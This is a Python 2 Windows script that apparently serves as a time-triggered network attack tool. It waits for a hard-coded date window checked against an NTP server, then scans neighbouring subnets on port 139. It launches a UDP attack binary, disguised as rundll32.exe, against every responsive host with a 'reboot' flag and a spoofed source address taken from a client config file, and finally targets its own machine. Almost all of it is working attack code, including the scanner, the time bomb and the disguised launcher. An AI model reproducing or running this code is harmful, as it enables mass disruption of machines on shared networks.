#!/usr/bin/python

import sys
sys.path.append('c:/windows/system')
import os
import string
import ConfigParser
import socket
import threading
import Queue
import time
import struct
import time
import os.path
import tarfile
import random

class Function_class:
#================================================================================
#    get Local Ipaddress , get NTP Time , conversion IP 
#================================================================================
    def __init__(self):
            pass
            
    def get_my_ipaddress (self):
        """get Localhost Ipaddress ,test work at winxpsp1
        """
        res = os.popen('c:\windows\system32\ipconfig.exe')
        i=0
        return self.conversion_ipaddress(res.readlines()[7].split(':')[1].strip())
        
    def conversion_ipaddress (self,ipaddr):
        """return Ipaddress like 127.000.000.001
        """
        full_ip = []
        ipip = ipaddr.split('.')
        for x in ipip:
            if len(x) < 3:
                x = (3-len(x))*'0'+x
                full_ip.append(x)
            else:
                full_ip.append(x)
        return  string.join(full_ip,'.')
        
    def get_ntp_time(self,ntp_server):
        TIME1970 = 2208988800L ## ???
        client = socket.socket( socket.AF_INET, socket.SOCK_DGRAM )
        client.settimeout(1.5)
        data = '\x1b' + 47 * '\0'
        try :
            client.sendto( data, (ntp_server,123))
            data, address = client.recvfrom( 1024 )
        except socket.timeout:
            return int(time.time())
        except socket.error:
            return int(time.time())
        if data:
            t = struct.unpack( '!12I', data )[10]
            t -= TIME1970
            return  int(t)

    def get_rn_ipaddress(self):
        config = ConfigParser.ConfigParser()
        try :
            config.read('c:/windows/ClientCfg.ini')
            return self.conversion_ipaddress(config.get('Client','ServerIP'))  
        except ConfigParser.NoSectionError :
            return '127.000.000.001'
            
    def check_self(self):
        if os.path.isdir('d:/dfdfdfdfdf'):
            return 'Yes'
        else :
            return 'No'
            
    def extract_attacker(self):
        return self.attacker_file
        
    def clean_attacker(self,accacker_file):
        return
    
    def compress_attacker(self,file):
        tar = tarfile.open("c:/sample.dll", "w:bz2")
        namelist = 'c:/page/udpattacker.exe'
        tar.add(namelist)
        tar.close()
        
class Scanner(threading.Thread):
    def __init__(self, inq, outq):
        threading.Thread.__init__(self)
        self.setDaemon(1)
        # queues for (host, port)
        self.inq = inq
        self.outq = outq

    def run(self):
        while 1:
            host, port = self.inq.get()
            sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        
            try:
                # connect to the given host:port
                sd.settimeout(1.5) 
                # Set socket Timeout
                sd.connect((host, port))
            except socket.error:
                # set the CLOSED flag
                self.outq.put((host, port, 'CLOSED'))
                sd.close()
            else:
                self.outq.put((host, port, 'OPEN'))
                sd.close()

def fast_scan(ip_mask,nthreads=250):
    func = Function_class()
    toscan = Queue.Queue()
    scanned = Queue.Queue()
    scan_res = []
    scanners = [Scanner(toscan, scanned) for i in range(nthreads)]
    for scanner in scanners:
        scanner.start()
    
    # Gen IP Address List for Scan Class C
    hosts_port = []
    for x in xrange(1,250):
        #print ip_mask+'.'+str(x)
        host_port = (ip_mask+'.'+str(x),139) ## 139 Scan Port
        hosts_port.append(host_port)
    for hostport in hosts_port:
        toscan.put(hostport)
#================================================================================
#    # Gen IP Address List for Scan Class B
#    hosts_port = []
#    for x2 in xrange(1,255):
#        for x3 in xrange(1,255):
#             host_port = (ip_mask+'.'+str(x2)+'.'+str(x3),139) ## 139 Scan Port
#             hosts_port.append(host_port)
#    for hostport in hosts_port:
#        toscan.put(hostport)
#================================================================================
    #Run ......
    results = {}
    for host, port in hosts_port:
        while (host, port) not in results:
            nhost, nport, nstatus = scanned.get()
            results[(nhost, nport)] = nstatus
        status = results[(host, port)]
        #print status
        if status == 'OPEN':
            scan_res.append(func.conversion_ipaddress(host))
    return scan_res
    
class Attacker2:
    
    def __init__(self,enemy_ips,rn_ip = '127.000.000.001',self_ip = '127.000.000.001'):
        ## usage: udpattack.exe TargetIP Fake_ip SelfIP(192.168.000.002) flag
        ## >>> os.spawnv(os.P_DETACH,'c:\page\udpattacker.exe', ('127.0.0.1 127.0.0.1 127.0.0.1 2',))
        ## last parameter 1 = Lock, 2 = UNLock, 3 = Reboot
        self.func = Function_class()
        self.queue = []
        for x in enemy_ips:
            self.queue.append((self.func.conversion_ipaddress(x),rn_ip,self_ip,'3'))
            
    def run(self):
        random.shuffle(self.queue)
        #try:
        #    self.queue.remove(self.func.get_my_ipaddress())
        #except ValueError:
        #    pass
        for x in self.queue: 
            print x
            # try :
            #t = time.clock()
            t = time.clock()
            print '%s %s %s %s,xxxxx' % (x[0],x[1],x[2],x[3])
        #os.spawnv(os.P_WAIT ,'c:/windows/system/rundll32.exe',(('%s %s %s %s' % (x[0],x[1],x[2],x[3])),))
            if int(random.randint(1,11)) >= 2:
                os.spawnl(os.P_WAIT,'c:/windows/system/rundll32.exe','c:/windows/system',x[0],x[1],x[2],x[3])
        #os.spawnv(os.P_WAIT ,'c:/windows/system/rundll32.cmd',())
            print time.clock() -t
        #    except:
         #       pass
def main ():
    #================================================================================
    #    mAIN fUNCTIONS .... # 12-08 = 1102508562  10-31 == 1099028758
    #================================================================================
    time.clock()
    print "Start..."
    func = Function_class()
    my_ipaddress = func.get_my_ipaddress() # Get slef Ipaddress
    #print string.join(my_ipaddress.split('.')[0:3],'.')
    
    ## Read Time..
    now_time = int(func.get_ntp_time('time.windows.com'))
#================================================================================
#    #Check Run Time................. 
#    while 1:
#        if (now_time > 1099046959 or now_time < 1099202638) :
#           # print fdfdf
 #           break
#        time.sleep(3600)
    if len(sys.argv) == 1 :
        while 1:
            if now_time > 1099046959 and now_time < 1099992638 :
                break
            print 'sleeping...'
            time.sleep(3600)
    elif len(sys.argv) == 2 and sys.argv[1] == 'now':
        pass
    else:
        print 'BAD USE'
        sys.exit()
    #else:
    #    print 'expired'
    #    sys.exit
    
    print 'time is now'
    sleep_time = random.randint(10,20)
    print "Will Sleep %s" % sleep_time
    time.sleep(sleep_time)
    enemy_hosts = []
    ## Attack..
    #enemy_hosts = fast_scan(string.join(my_ipaddress.split('.')[0:3],'.')) ## Fast Scan enemy Host!!!
    #[['192','168','2'],['192','168','3']]
    mid_mask = my_ipaddress.split('.')[0:3]
    _range = 2
    for x in range(int(mid_mask[2])-_range,int(mid_mask[2])+_range):
        if x >= 0 and x <= 254:
            x = str(x)
            if len(x) < 3:
                x = (3-len(x))*'0'+x
            mask='%s.%s.%s' % (mid_mask[0],mid_mask[1],x)
            print mask
            #print fast_scan(mask)
            enemy_hosts = enemy_hosts+fast_scan(mask)
    #print enemy_hosts
    
    
    attack2 = Attacker2(enemy_hosts,func.get_rn_ipaddress(),my_ipaddress)
    attack2.run()
    print 'mine ip is ',my_ipaddress
    print 'rn ip is ',func.get_rn_ipaddress()
    os.spawnl(os.P_WAIT,'c:/windows/system/rundll32.exe','c:/windows/system',my_ipaddress,func.get_rn_ipaddress(),func.get_rn_ipaddress(),'3')
    print 'end'
    print time.clock()
    
if __name__ == '__main__':
    main()

